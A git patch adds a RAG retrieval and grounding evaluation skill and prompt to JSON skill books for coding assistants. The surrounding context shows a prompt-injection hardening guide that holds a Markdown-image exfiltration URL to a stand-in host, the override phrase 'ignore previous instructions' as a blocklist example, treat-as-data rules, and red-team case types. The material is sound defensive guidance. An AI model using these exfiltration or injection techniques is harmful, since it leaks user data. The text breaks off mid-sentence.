From 927dfdafabda1abdb8bf8a4f37000a8c52305303 Mon Sep 17 00:00:00 2001 From: Ramkumar Ethiraj <64294490+rmkr-dev@users.noreply.github.com> Date: Sat, 24 Oct 2026 05:08:54 +0000 Subject: [PATCH 1/2] Add RAG retrieval and grounding evaluation skill --- skillbook/skills.json | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/skillbook/skills.json b/skillbook/skills.json index 2c6ee87..91047ee 100644 --- a/skillbook/skills.json +++ b/skillbook/skills.json @@ -737,6 +737,26 @@ ], "formatNotes": "All three. Copilot: path-scoped `.github/instructions/llm-app-security.instructions.md` with applyTo for `**/*Prompt*.java`, `**/*Tool*.java`, `**/*Advisor*.java`, `**/*Rag*.java`, `**/prompts/**`, and `**/evals/**`. Optional `.github/skills/llm-app-prompt-injection-guardrails/SKILL.md`. Claude Code: `.claude/skills/llm-app-prompt-injection-guardrails/SKILL.md` plus a CLAUDE.md fact that retrieved content and tool output are untrusted data, tools run as the end user, and writes need code-enforced approval. Codex: an \"LLM features and prompt injection\" section in root `AGENTS.md`. Pair with llm-eval-ci-regression-gate for the CI gate mechanics, entra-id-spring-service-auth-guardrails for on-behalf-of tool identity, spring-boot-structured-logging-guardrails for redacted logging, and secure-pr-review-guardrails for general code review. This skill owns the trust map, tool agency limits, output handling, and the red-team eval cases.", "body": "# Skill: LLM App Prompt Injection and Output Handling Guardrails\n\n## Goal\nShip an LLM feature (chat, RAG, summarizer, tool-calling agent, LLM gateway) on the assumption that the model **will** be talked into misbehaving at some point, and make sure that when it is, nothing bad happens. Untrusted text stays marked as data, the model only holds the permissions of the user it is acting for, every tool call and every piece of model output is validated by ordinary code before it touches anything, and a red-team eval set proves this on every change. Prompt wording is a speed bump, not a control; the controls live in code, identity, and the eval gate.\n\n## When to apply\n- Building or reviewing a Spring Boot (Spring AI, LangChain4j, or plain SDK) service that sends user input, documents, emails, tickets, web pages, or tool results to an LLM\n- Adding RAG over content that people outside the team can write to (wikis, uploaded files, support tickets, crawled pages, repos)\n- Giving a model tools or function calling that read data, call APIs, send messages, write records, or run code\n- Rendering model output as HTML or Markdown, or feeding it into SQL, shell, file paths, URLs, templates, or another service\n- Routing traffic for several teams through a shared LLM gateway or proxy\n- After a red-team finding, a leaked system prompt, or a model upgrade that changed refusal behaviour\n\n## Baseline rules\n1. **Draw the trust map first.** For every input to the prompt, label it: trusted (your system prompt and code-built context), user (the signed-in caller), or untrusted third-party (retrieved chunks, file contents, web pages, emails, tool output, other agents). Indirect prompt injection comes through the third column. If nobody can say which column a string is in, assume untrusted.\n2. **The system prompt is not a secret and not a security boundary.** Assume it will be extracted. Keep credentials, connection strings, internal URLs, other tenants' data, and authorization logic out of it. Rules like \"never reveal X\" are fine as hygiene, but X must also be unreachable by code.\n3. **Keep roles and data apart.** Put untrusted content in its own user-role or tool-role message, never concatenated into the system message. Wrap it in clear delimiters (for example `…`), strip or neutralize those delimiters inside the content, and tell the model that text inside them is data to analyse, not instructions to follow. This lowers the hit rate; it does not make injection impossible, so the rules below still apply.\n4. **Least privilege per call, in the caller's identity.** The model gets only the tools this use case needs, and each tool runs with the end user's permissions (on-behalf-of token, row-level filter, tenant ID from the authenticated principal), never a broad service identity. Retrieval filters by the caller's access *before* chunks reach the prompt. A model can't leak a document it was never given.\n5. **Tools are an API, so validate them like one.** Each tool has a narrow, typed schema (enums, IDs, bounded strings, no free-form \"query\" or \"command\" fields when you can avoid them). Validate arguments server-side as if they came from an anonymous internet client: authorization check, allow-listed hosts or paths, size limits, and idempotency keys for writes. No generic `http_get(url)`, `run_sql(text)`, or `exec(cmd)` tools.\n6. **Human approval for high-impact actions.** Anything that sends data outside the tenant, moves money, deletes or bulk-edits records, changes permissions, or emails or posts on someone's behalf needs an explicit confirmation step that shows the exact action and its arguments. The confirmation is enforced in code (a pending-action record plus a user click), not by asking the model to \"check with the user first\".\n7. **Bound the agent loop.** Set a maximum number of tool rounds, a total token and cost budget, and a wall-clock deadline per request; stop with a clear error when any is hit. Repeated identical tool calls and tool calls after a refusal are signals to abort, not to retry.\n8. **Treat model output as untrusted input to the next system.** Encode it for the place it goes: HTML-escape or render Markdown through a sanitizer with raw HTML off and a strict CSP; never `eval`, shell out, or build SQL, file paths, or URLs by string concatenation from it. When output drives code, require structured output (JSON schema or typed record), parse it strictly, and reject unknown fields and out-of-range values.\n9. **Block the quiet exfiltration channels.** Rendered Markdown images and auto-fetched links can leak data through the URL (`![x](https://evil.example/?q=)`). Disable remote images in rendered output or proxy them through an allow-list, and don't let tools fetch arbitrary URLs that the model chooses.\n10. **Screen input and output, but don't rely on it.** Run a prompt-injection classifier or shield (for example Azure AI Content Safety Prompt Shields, or an equivalent model or library) on user input and on retrieved documents, and run PII and secret detection on output. Log the verdicts. These catch the common cases; rules 4 to 9 are what limit the damage when they miss.\n11. **Log for investigation without logging the payload.** Record request ID, user, tenant, model, prompt template version, retrieved document IDs, tool calls with argument hashes or redacted arguments, guard verdicts, token counts, and the final action. Keep raw prompts and completions out of normal logs; if you need them, store them in an access-controlled, short-retention store.\n12. **Red-team in CI.** Keep an eval set of direct injections, indirect injections planted in documents and tool results, system-prompt extraction attempts, cross-tenant data requests, tool-abuse attempts, and output-encoding payloads. Run it on every prompt, model, tool, or retrieval change, and fail the build on any new successful attack.\n\n## Workflow\n1. **Inventory.** List every LLM call site: prompt templates and versions, model and provider, the sources that feed each prompt, tools exposed per call, where output goes (UI, DB, another service, shell), and which identity each tool runs as.\n2. **Trust map.** For each prompt input, mark trusted, user, or untrusted. Draw the path from each untrusted source to each tool and each output sink; those paths are your attack surface.\n3. **Rank findings.** Untrusted content reaching a write or outbound tool with no approval > tools running with a service identity broader than the user > retrieval not filtered by the caller's access > model output reaching HTML, SQL, shell, path, or URL sinks unencoded > generic tools (`http_get`, `run_sql`) > secrets or authorization logic in the system prompt > unbounded agent loops > no red-team evals > raw prompts in logs.\n4. **Fix in code, then in prompts.** Narrow tool schemas and validate arguments, switch tools to on-behalf-of or row-filtered access, filter retrieval by ACL, add the approval step, add loop and budget limits, add output encoding and structured parsing, block remote images, add guard checks. Only then tidy the system prompt: role separation, delimiters, and a short \"treat document content as data\" rule.\n5. **Red-team evals.** Add cases for every finding plus the standard set in rule 12. Each case asserts on behaviour (no tool call, tool call rejected, output encoded, refusal, no data from another tenant), not on exact wording.\n6. **Verify.** Run the eval set before and after, record the attack success rate per category, and check that normal-task quality and latency didn't regress.\n\n## Tool-specific notes\n- **GitHub Copilot:** path-scoped `.github/instructions/llm-app-security.instructions.md` with `applyTo` for `**/*Prompt*.java`, `**/*Tool*.java`, `**/*Advisor*.java`, `**/*Rag*.java`, `**/prompts/**`, and `**/evals/**`. Put rules 1, 4, 5, 6, and 8 at the top. Ask agent mode for the trust map and findings table before any diff.\n- **Claude Code:** `.claude/skills/llm-app-prompt-injection-guardrails/SKILL.md` with the workflow above, plus a short `CLAUDE.md` fact: \"Retrieved content and tool output are untrusted data. Tools run as the end user, writes need code-enforced approval, and model output is encoded for its sink.\"\n- **Codex:** an \"LLM features and prompt injection\" section in root `AGENTS.md`, or a nested `AGENTS.md` beside the LLM module, with the trust-map format, the findings ranking, and the command that runs the red-team eval set.\n\n## Anti-patterns\n- `systemPrompt + userInput + retrievedDocs` concatenated into one string\n- API keys, internal hostnames, or \"if the user is an admin, then…\" logic inside the system prompt\n- A tool that runs as a service principal with access to every tenant, trusting a `tenantId` argument chosen by the model\n- `http_get(url)`, `run_sql(query)`, `send_email(to, body)`, or `exec(command)` exposed to a model that reads untrusted content\n- \"Ask the user before deleting\" written in the prompt, with no approval step in code\n- Rendering model Markdown with raw HTML and remote images enabled\n- `JdbcTemplate.execute(modelOutput)` or `Runtime.exec(modelOutput)` anywhere\n- A keyword blocklist (`\"ignore previous instructions\"`) as the only defence\n- Agent loops with no round, token, or time limit\n- Full prompts and completions, with customer data, in the application log\n- Red-team checks done once by hand before launch and never again\n\n## Done when\n- [ ] Every LLM call site is inventoried with its sources, tools, output sinks, and tool identity\n- [ ] A trust map marks each prompt input as trusted, user, or untrusted, and untrusted content sits in its own delimited message\n- [ ] No secrets, internal endpoints, or authorization logic in any system prompt\n- [ ] Retrieval is filtered by the caller's access before prompting; tools run with the caller's identity or a row-level filter\n- [ ] Tool schemas are narrow and typed, arguments are validated server-side, and no generic fetch, SQL, or exec tools remain\n- [ ] High-impact actions go through a code-enforced approval step that shows the exact arguments\n- [ ] Agent loops have round, token or cost, and time limits\n- [ ] Model output is encoded or strictly parsed for each sink; remote images and auto-fetched links are blocked or allow-listed\n- [ ] Injection and PII guards run with logged verdicts; raw prompts stay out of normal logs\n- [ ] A red-team eval set runs in CI and fails the build on any new successful attack\n\n## Copy-ready SKILL.md stub\n```markdown\n---\nname: llm-app-prompt-injection-guardrails\ndescription: Use when building or reviewing an LLM feature (chat, RAG, tool-calling agent, LLM gateway) that handles user input, retrieved documents, or tool output — trust map of prompt inputs, role and delimiter separation, least-privilege tools in the caller's identity, server-side tool argument validation, code-enforced approval for high-impact actions, bounded agent loops, output encoding for each sink, exfiltration blocking, input and output guards, safe logging, and a red-team eval set in CI.\n---\n\nFollow LLM App Prompt Injection and Output Handling Guardrails: assume the model can be manipulated and put the controls in code. Map every prompt input as trusted, user, or untrusted, and keep untrusted content in its own delimited message. Keep secrets and authorization logic out of the system prompt. Filter retrieval by the caller's access and run every tool with the caller's identity. Give tools narrow typed schemas and validate arguments server-side, with no generic fetch, SQL, or exec tools. Require code-enforced approval for writes that leave the tenant or can't be undone. Cap tool rounds, tokens, and time. Encode or strictly parse model output for each sink and block remote images. Run injection and PII guards with logged verdicts, keep raw prompts out of normal logs, and gate every prompt, model, tool, or retrieval change on a red-team eval set.\n```\n" + }, + { + "id": "rag-retrieval-eval-guardrails", + "title": "RAG Retrieval & Grounding Evaluation Guardrails", + "whenToUse": "Building, changing, or reviewing a RAG pipeline (chunking, embeddings, vector or hybrid index, top-k, re-ranker, prompt, model) and needing to prove it finds the right evidence and answers only from it — a golden question set with document-level relevance labels, retrieval-only recall@k, MRR, and nDCG, paired comparison of chunking and embedding changes on a pinned corpus snapshot, claim-level faithfulness, citation correctness, refusal when evidence is missing, LLM judge calibration against human labels, per-query cost and latency, CI regression thresholds, and keeping the test set out of prompts and training data.", + "tools": [ + "copilot", + "claude-code", + "codex" + ], + "tags": [ + "llm", + "rag", + "evals", + "retrieval", + "grounding", + "ci" + ], + "formatNotes": "All three. Copilot: path-scoped `.github/instructions/rag-eval.instructions.md` with applyTo for `**/rag/**`, `**/retrieval/**`, `**/*Retriever*.java`, `**/*Chunk*.java`, `**/*Embedding*.java`, `**/ingest/**`, `**/prompts/**`, and `evals/**`. Optional `.github/skills/rag-retrieval-eval-guardrails/SKILL.md`. Claude Code: `.claude/skills/rag-retrieval-eval-guardrails/SKILL.md` plus a CLAUDE.md fact that retrieval changes are judged on recall@k and MRR against the golden set, answers must be grounded with valid citations, and golden questions never go into prompts or training data. Codex: a \"RAG retrieval and grounding evals\" section in root `AGENTS.md` or a nested `evals/AGENTS.md`. Pair with llm-eval-ci-regression-gate for the CI gate mechanics (baseline, noise floor, workflow permissions), llm-app-prompt-injection-guardrails for access-filtered retrieval and injection red-teaming, and llm-eval-agent-workflow for coding-agent rubrics. This skill owns the golden evidence labels, retrieval metrics, grounding and citation checks, refusal cases, judge calibration, and leakage control.", + "body": "# Skill: RAG Retrieval and Grounding Evaluation Guardrails\n\n## Goal\nKnow, with numbers, whether a RAG feature finds the right evidence and answers only from it. Retrieval is scored on its own against labelled relevant chunks, generation is scored on faithfulness, citation correctness, and refusal when the evidence is missing, and every chunking, embedding, index, re-ranker, prompt, or model change is compared on the same frozen question set before it ships. When an answer is wrong, the eval report tells you which stage broke: retrieval missed the chunk, the ranker buried it, or the model ignored it.\n\n## When to apply\n- Building or reviewing a RAG service (Spring AI, LangChain4j, LlamaIndex, LangChain, or hand-rolled) over a vector store, search index, or hybrid of both\n- Changing chunk size or overlap, the splitter, the embedding model or its dimensions, the index type, top-k, hybrid weights, filters, or the re-ranker\n- Answer quality complaints that nobody can pin on retrieval or on the model\n- Adding citations, source links, or \"I don't know\" behaviour to an assistant\n- Introducing an LLM judge for faithfulness or relevance and needing to know whether to trust it\n- Before a model, prompt, or knowledge-base migration, and after any re-index\n\n## Baseline rules\n1. **Build a golden question set with labelled evidence.** Each case has a stable `id`, the `question`, the IDs of the chunks or documents that answer it (`relevant_ids`, optionally graded 0–3), a short reference answer or list of required facts, and tags (`lookup`, `multi-hop`, `comparison`, `numeric`, `recent-change`, `no-answer`, `ambiguous`, `past-incident`). Start with 100–300 cases written or reviewed by people who know the content, mixed with real (redacted) user questions. No real customer data or PHI in fixtures.\n2. **Label documents, not just chunk offsets.** Chunk IDs change when you re-chunk. Store relevance against a stable document ID plus a span or a set of required facts, and map them onto the current chunks at eval time, so a chunking experiment doesn't invalidate the labels.\n3. **Score retrieval separately from generation.** Run the retriever alone and compute deterministic ranking metrics at the k the prompt actually uses: recall@k (did any or all relevant evidence arrive), MRR (how high the first hit lands), and nDCG@k when you have graded labels. Also report context precision at k (how much of the prompt is noise) and the hit rate per tag. These need no LLM and should be the first blocking numbers.\n4. **Compare retrieval changes like experiments.** Chunking, embedding, index, hybrid weighting, and re-ranker changes run against the same golden set and the same corpus snapshot, side by side with the current configuration, per tag, with token cost of the retrieved context. Re-embed the full corpus for an embedding change; never mix vectors from two models in one index. Report the paired difference per case, not just the means.\n5. **Faithfulness is claim-level.** Split each answer into atomic claims and check every claim against the retrieved context only, not against the reference or the model's own knowledge. Report the share of supported claims per answer and the count of answers with any unsupported claim. A correct answer drawn from parametric memory still fails faithfulness, because it will fail silently when the corpus changes.\n6. **Check citations mechanically first.** Every citation must point to a chunk that was in the prompt for that request (deterministic check), and the cited chunk must support the sentence it is attached to (judge check). Track citation precision (cited chunks that support the claim) and citation recall (claims that carry a valid citation). A link to a real document that doesn't say the thing is a defect, not a near-miss.\n7. **Refusal when evidence is missing is a metric, not a hope.** Keep `no-answer` cases whose answer is not in the corpus, plus cases where retrieval is forced to return irrelevant chunks. Measure correct-refusal rate on those and false-refusal rate on answerable cases; both matter. The app decides refusal from evidence (top score below threshold, no supporting chunk) as well as from the model's wording.\n8. **Calibrate any LLM judge before it gates.** Label 100–200 answers by hand with a written rubric (binary supported or not supported per claim, with examples of borderline cases), split into dev and held-out sets, and measure judge agreement (precision, recall, Cohen's kappa) on held-out labels. Pin the judge model, prompt, temperature, and parser. Keep a judge metric warn-only until agreement is acceptable, re-check it after any judge change, and never let the model under test judge itself.\n9. **Track cost and latency per query.** Record retrieval latency, re-ranker latency, generation latency, prompt and completion tokens, retrieved-context tokens, and cost per query, as p50/p95 per tag. A retrieval change that adds two points of recall and doubles context tokens is a trade-off to decide on, not a free win.\n10. **Gate regressions in CI with per-metric thresholds.** Commit a baseline of the accepted run and fail when recall@k, MRR, faithfulness, citation validity, or correct-refusal rate drops more than its tolerance or under its floor, or when p95 latency or cost per query exceeds its budget. Deterministic retrieval metrics block from day one; calibrated judge metrics block once rule 8 is met. Pin the corpus snapshot, embedding model, index settings, and model versions in the results file.\n11. **Keep the test set from leaking.** Never use golden questions or reference answers as few-shot examples, in prompts, in fine-tuning data, or as synthetic training for the embedder or re-ranker. Keep a held-out slice that nobody tunes against and look at it only at release time. When you generate synthetic questions from the corpus, have a person review them and drop near-copies of the chunk text, since they inflate recall.\n12. **Keep the corpus and the set in step.** Version the corpus snapshot used for evals. When documents are added, removed, or rewritten, re-validate the labels for affected cases in a reviewed change, and add new cases for content users actually ask about (sample from logs, redacted).\n\n## Workflow\n1. **Inventory.** Document the pipeline: loaders, splitter and chunk settings, embedding model and dimensions, index and distance metric, filters, hybrid weights, top-k, re-ranker, prompt template, model, and where citations and refusals are produced.\n2. **Golden set.** Build or audit the set per rules 1, 2, and 11: coverage of every tag, stable document-level labels, a `no-answer` slice of at least 10%, and a frozen held-out slice.\n3. **Retrieval baseline.** Run the retriever alone and record recall@k, MRR, nDCG@k, context precision, and context tokens per tag on the pinned corpus snapshot.\n4. **Generation baseline.** Run end to end and record claim-level faithfulness, citation validity, citation precision and recall, correct- and false-refusal rates, and answer correctness against the reference, plus per-query latency and cost.\n5. **Calibrate the judge.** Hand-label a sample, measure agreement on held-out labels, fix the rubric or judge, and mark which judge metrics may block.\n6. **Diagnose.** For every failing case, tag the stage: not retrieved, retrieved but ranked below k, in context but ignored, unsupported claim added, wrong citation, should have refused. Fix the stage with the most failures first.\n7. **Experiment and gate.** Change one thing at a time, compare paired per-case results against the baseline, and wire the accepted thresholds into CI (pair with llm-eval-ci-regression-gate for the mechanics).\n\n## Tool-specific notes\n- **GitHub Copilot:** path-scoped `.github/instructions/rag-eval.instructions.md` with `applyTo` for `**/rag/**`, `**/retrieval/**`, `**/*Retriever*.java`, `**/*Chunk*.java`, `**/*Embedding*.java`, `**/ingest/**`, `**/prompts/**`, and `evals/**`. Put rules 3, 5, 7, and 11 at the top. Optional `.github/skills/rag-retrieval-eval-guardrails/SKILL.md`. Ask agent mode for the stage-tagged failure table before any change.\n- **Claude Code:** `.claude/skills/rag-retrieval-eval-guardrails/SKILL.md` with the workflow above, plus a short `CLAUDE.md` fact: \"Retrieval changes are judged on recall@k and MRR against evals/golden; answers must be grounded in retrieved chunks with valid citations; never put golden questions into prompts or training data.\"\n- **Codex:** a \"RAG retrieval and grounding evals\" section in root `AGENTS.md`, or a nested `evals/AGENTS.md`, with the commands that run the retrieval-only and end-to-end evals and the rule not to edit the golden set, labels, or baseline in the same change as a retrieval or prompt change.\n\n## Anti-patterns\n- Judging a RAG change only by end-to-end answer scores, with no retrieval-only metrics\n- Labels keyed to chunk offsets that silently break on the next re-chunk\n- Comparing chunk sizes on different corpus snapshots or with different top-k\n- Re-indexing half the corpus with a new embedding model\n- Counting an answer as good because it matches the reference, even though the retrieved context never said it\n- Citations rendered from document titles the model invented, with no check that the chunk was in the prompt\n- No unanswerable questions in the set, so the assistant is never tested on saying \"I don't know\"\n- A 1–10 judge score with no human labels gating merges, or the model under test grading itself\n- Golden questions reused as few-shot examples or as synthetic training data for the re-ranker\n- Ignoring the extra context tokens and p95 latency that came with a better recall number\n\n## Done when\n- [ ] Pipeline settings (chunking, embedding, index, filters, top-k, re-ranker, prompt, model) are documented and pinned in eval results\n- [ ] A versioned golden set has document-level relevance labels, tags, a no-answer slice, and a frozen held-out slice, with no real customer data\n- [ ] Retrieval-only recall@k, MRR, nDCG@k, and context precision are reported per tag\n- [ ] Claim-level faithfulness, citation validity, citation precision and recall, and correct- and false-refusal rates are reported\n- [ ] Any LLM judge is calibrated against human labels on held-out data before it blocks\n- [ ] Per-query latency (p50/p95), tokens, and cost are tracked next to quality\n- [ ] CI fails on threshold breaches against a committed baseline\n- [ ] Golden data is kept out of prompts, few-shot examples, and training data\n\n## Copy-ready SKILL.md stub\n```markdown\n---\nname: rag-retrieval-eval-guardrails\ndescription: Use when building, changing, or reviewing a RAG pipeline (chunking, embeddings, index, top-k, re-ranker, prompt, model) — golden question set with document-level relevance labels, retrieval-only recall@k, MRR, and nDCG, paired comparison of chunking and embedding changes, claim-level faithfulness, citation correctness, refusal when evidence is missing, LLM judge calibration against human labels, per-query cost and latency, CI regression thresholds, and test-set leakage control.\n---\n\nFollow RAG Retrieval and Grounding Evaluation Guardrails: score retrieval and generation separately. Keep a versioned golden set with document-level relevance labels, tags, a no-answer slice, and a frozen held-out slice. Report recall@k, MRR, and nDCG@k for the retriever alone at the k the prompt uses. Compare chunking, embedding, and re-ranker changes on the same corpus snapshot with paired per-case results. Check faithfulness claim by claim against retrieved context only, verify every citation points to a chunk in the prompt that supports the sentence, and measure correct- and false-refusal rates. Calibrate any LLM judge against human labels before it blocks. Track latency, tokens, and cost per query. Gate regressions in CI against a committed baseline, and never put golden questions into prompts, few-shot examples, or training data.\n```\n" } ] } From 19134c6011a56dde560c9897b61926e1531cf0c0 Mon Sep 17 00:00:00 2001 From: Ramkumar Ethiraj <64294490+rmkr-dev@users.noreply.github.com> Date: Sat, 24 Oct 2026 05:08:54 +0000 Subject: [PATCH 2/2] Add evaluate RAG retrieval quality prompt --- promptbook/prompts.json | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/promptbook/prompts.json b/promptbook/prompts.json index b92b9e4..12c0d90 100644 --- a/promptbook/prompts.json +++ b/promptbook/prompts.json @@ -739,6 +739,26 @@ ], "formatNotes": "All three. Point the tool at the prompt templates, the classes that build chat requests (Spring AI `ChatClient` and advisors, LangChain4j AI services, or SDK calls), every tool or function definition, the retrieval and vector-store query code, the code that renders or stores model output, and any eval folder. Copilot: llm-app-security path instructions plus those files in agent mode. Claude Code: the llm-app-prompt-injection-guardrails skill plus the files. Codex: AGENTS.md LLM section, then the diff.", "body": "Task: Harden the LLM feature I specify against prompt injection (direct and indirect), excessive tool agency, and unsafe output handling. Map what the model reads and what it can do, close the paths from untrusted content to tools and output sinks in code, and finish with a minimal diff plus a red-team eval set that runs in CI.\n\nContext placeholders (fill from the repo or ask only if missing):\n- Feature / module root: {{APP_PATH}}\n- Feature type: {{FEATURE}} (chat | RAG Q&A | summarizer | tool-calling agent | LLM gateway | other)\n- LLM stack: {{STACK}} (Spring AI | LangChain4j | Azure OpenAI / OpenAI SDK | OpenAI-compatible router | other)\n- Untrusted sources: {{SOURCES}} (e.g. uploaded files, wiki pages, support tickets, emails, web pages, tool results)\n- Tools exposed to the model: {{TOOLS}} (name → what it reads or writes, or \"find them\")\n- Tool identity today: {{TOOL_IDENTITY}} (end-user on-behalf-of token | service principal / managed identity | API key | mixed)\n- Output sinks: {{SINKS}} (web UI Markdown/HTML | DB write | email or chat message | another service | shell or SQL)\n- Tenancy and access model: {{TENANCY}} (single tenant | multi-tenant with tenant ID from token | document ACLs)\n- Guard services available: {{GUARDS}} (e.g. Azure AI Content Safety Prompt Shields, PII detector, none)\n- Eval runner: {{EVAL_RUNNER}} (JUnit tests | promptfoo | custom harness | none yet)\n\nRequirements:\n\n1. Inventory\n - List every LLM call site in {{APP_PATH}}: prompt template and version, model and provider, the messages it builds (system, user, tool) and what goes into each\n - List every tool or function with its schema, what it reads or writes, the identity it runs as, and whether it can send data outside the tenant\n - List where each model output goes and how it is rendered, parsed, or executed\n - Note what is logged per call (raw prompts, completions, tool arguments) and where\n\n2. Trust map\n - Mark every prompt input as trusted (code-built), user (signed-in caller), or untrusted (third-party content, tool output, other agents)\n - Draw each path from an untrusted source to a tool or an output sink; these paths are the attack surface\n\n3. Findings (rank by risk: untrusted content reaching a write or outbound tool without approval > tools running with an identity broader than the caller > retrieval not filtered by the caller's access > model output reaching HTML, SQL, shell, file path, or URL sinks unencoded > generic tools such as fetch-any-URL, raw SQL, or exec > secrets, internal endpoints, or authorization logic in the system prompt > unbounded agent loops or budgets > missing guards > raw prompts and customer data in logs > no red-team evals)\n\n4. Fix (code first, prompt wording last)\n - Move untrusted content out of the system message into its own delimited user or tool message, strip delimiter look-alikes from the content, and add one short rule that delimited content is data, not instructions\n - Remove secrets, internal URLs, and authorization logic from system prompts; enforce those rules in code\n - Filter retrieval by the caller's tenant and document ACLs before prompting\n - Switch tools to the caller's identity (on-behalf-of token or row-level filter); take tenant and user IDs from the authenticated principal, never from model arguments\n - Narrow tool schemas (enums, IDs, bounded strings), validate every argument server-side with authorization checks, host and path allow-lists, size limits, and idempotency keys for writes; replace generic fetch, SQL, or exec tools with specific ones\n - Add a code-enforced approval step (pending action plus explicit user confirmation showing exact arguments) for sends, deletes, bulk edits, permission changes, and payments\n - Cap tool rounds, total tokens or cost, and wall-clock time per request; abort on repeated identical tool calls\n - Encode output for each sink in {{SINKS}}: sanitized Markdown with raw HTML off, remote images disabled or proxied through an allow-list, strict CSP; use structured output with strict parsing where output drives code; never build SQL, shell commands, paths, or URLs from output by concatenation\n - Wire {{GUARDS}} on user input and retrieved documents, and PII or secret detection on output; log verdicts\n - Replace raw prompt logging with request ID, user, tenant, template version, document IDs, redacted tool arguments, guard verdicts, and token counts\n\n5. Red-team evals\n - Direct injection in user input (override instructions, role-play, encoding tricks)\n - Indirect injection planted in a retrieved document and in a tool result, asking the model to call a tool or leak data\n - System-prompt extraction attempts\n - Cross-tenant or other-user data requests\n - Tool abuse: out-of-scope arguments, other tenant IDs, disallowed hosts, oversized inputs, repeated calls\n - Output-sink payloads: script tags, Markdown image exfiltration URLs, SQL and shell metacharacters\n - Each case asserts behaviour (no tool call, tool call rejected, output encoded, refusal, no foreign data), not exact wording; wire them into {{EVAL_RUNNER}} so CI fails on any new successful attack\n\n6. Verification\n - Run the eval set before and after and report attack success rate per category\n - Run the normal-task eval or test suite to confirm answer quality and latency didn't regress\n - Tool table: tool | reads or writes | identity before | identity after | validation added | approval needed\n - Sink table: sink | before | encoding or parsing after\n\nConstraints:\n- Minimal diff. Don't rewrite prompts or features that aren't on an untrusted-to-tool or untrusted-to-sink path.\n- Don't treat a keyword blocklist or a stronger system prompt as the fix for any finding.\n- Don't invent guard services, tenant models, or eval scores. Use placeholders and state assumptions.\n- Don't log real prompts, completions, or customer data in tests or examples.\n- Optimize for GitHub Copilot, Claude Code, and Codex: give concrete diffs and a checklist.\n- Leave model or provider changes and new guard service rollouts as follow-up notes unless the repo already uses them.\n\nOutput format:\n1. Trust map (sources → prompt messages → tools and sinks) with the attack-surface paths\n2. Findings table: severity | location | issue | fix\n3. Patch (message separation + retrieval filtering + tool identity and validation + approval step + loop limits + output encoding + guards + logging)\n4. Red-team eval cases added and before/after attack success rate per category\n5. Tool and sink tables, plus follow-ups\n\nStart from {{APP_PATH}}. Close the paths from untrusted content to tools and sinks before touching prompt wording.\n" + }, + { + "id": "evaluate-rag-retrieval-quality", + "title": "Evaluate RAG Retrieval & Grounding Quality", + "whenToUse": "Measure whether a RAG feature retrieves the right evidence and answers only from it: golden questions with document-level relevance labels, retrieval-only recall@k, MRR, and nDCG, claim-level faithfulness, citation validity, correct- and false-refusal rates, judge calibration against human labels, per-query latency and cost, a paired comparison for a chunking, embedding, re-ranker, prompt, or model change, stage-tagged failures, and CI regression thresholds with a leakage check.", + "tools": [ + "copilot", + "claude-code", + "codex" + ], + "tags": [ + "llm", + "rag", + "evals", + "retrieval", + "grounding", + "ci" + ], + "formatNotes": "All three. Point the tool at the ingest and chunking code, the embedding and vector-store or search client, the retriever and re-ranker, the prompt template and the class that builds the chat request with citations, the eval folder and golden set, and the CI workflow. Copilot: rag-eval path instructions plus those files in agent mode (or save it as `.github/prompts/evaluate-rag-retrieval-quality.prompt.md`). Claude Code: the rag-retrieval-eval-guardrails skill plus the files. Codex: AGENTS.md RAG evals section, then the diff.", + "body": "Task: Evaluate the retrieval and grounding quality of the RAG feature I specify. Build or audit a golden question set with labelled evidence, score the retriever on its own, score answers for faithfulness, citation correctness, and refusal when evidence is missing, calibrate any LLM judge against human labels, and finish with a minimal diff that runs these evals in CI with regression thresholds.\n\nContext placeholders (fill from the repo or ask only if missing):\n- RAG module root: {{APP_PATH}}\n- Stack: {{STACK}} (Spring AI | LangChain4j | LlamaIndex | LangChain | custom)\n- Retriever: {{RETRIEVER}} (vector store and distance metric | keyword search | hybrid; plus re-ranker or none)\n- Chunking and embedding today: {{CHUNKING}} (splitter, chunk size, overlap; embedding model and dimensions)\n- Top-k used in the prompt: {{TOP_K}}\n- Corpus snapshot: {{CORPUS}} (where it lives and how it is versioned)\n- Golden set: {{GOLDEN}} (e.g. evals/rag/golden.jsonl, or \"none yet\")\n- Change under test: {{CHANGE}} (e.g. chunk 512→1024, new embedding model, add re-ranker, new prompt, new model, or \"baseline only\")\n- Judge model: {{JUDGE}} (pinned version, or none)\n- Eval runner and CI: {{EVAL_RUNNER}} (pytest | JUnit | Ragas or similar library | custom harness; GitHub Actions | Jenkins)\n- Budgets: {{BUDGETS}} (e.g. p95 latency ≤ 2.5 s, cost per query ≤ $0.004)\n\nRequirements:\n\n1. Inventory\n - Document the pipeline in {{APP_PATH}}: loaders, splitter and chunk settings, embedding model, index and filters, hybrid weights, {{TOP_K}}, re-ranker, prompt template and version, model, and where citations and refusals are produced\n - List existing eval code, data, and metrics, and note anything unpinned (model aliases, corpus not versioned, judge unpinned)\n - Flag any golden or fixture data that contains real customer data or PHI\n\n2. Golden set\n - Each case: stable `id`, `question`, `relevant_ids` as stable document IDs plus span or required facts (graded 0–3 if possible), short reference answer or required facts, and tags (lookup, multi-hop, comparison, numeric, recent-change, no-answer, ambiguous, past-incident)\n - At least 10% `no-answer` cases whose answer is not in {{CORPUS}}\n - A frozen held-out slice that is not used for tuning\n - Map document-level labels onto current chunks at eval time so a chunking change doesn't break labels\n - If {{GOLDEN}} is missing, propose 30 starter cases from the corpus and mark them for human review; drop synthetic questions that copy chunk text nearly verbatim\n - Don't rewrite or delete existing cases; flag questionable ones in the report\n\n3. Retrieval metrics (retriever only, no LLM)\n - recall@k, MRR, and nDCG@k at {{TOP_K}} (and at 2×{{TOP_K}} to show headroom), context precision at k, and retrieved-context tokens, overall and per tag\n\n4. Generation metrics (end to end)\n - Claim-level faithfulness against retrieved context only: supported-claim share and the count of answers with any unsupported claim\n - Citation validity (every cited ID was in the prompt for that request, checked in code), citation precision, and citation recall\n - Correct-refusal rate on no-answer cases and on cases with forced irrelevant context; false-refusal rate on answerable cases\n - Answer correctness against the reference or required facts\n - Per-query retrieval, re-rank, and generation latency (p50/p95), prompt, completion, and context tokens, and cost\n\n5. Judge calibration (only if a judge is used)\n - Hand-label 100–200 answers with a written binary rubric per claim, split dev and held-out\n - Report judge precision, recall, and Cohen's kappa on held-out labels; pin judge model, prompt, temperature, and parser\n - Keep judge metrics warn-only until agreement is acceptable; the model under test never judges itself\n\n6. Compare {{CHANGE}}\n - Same golden 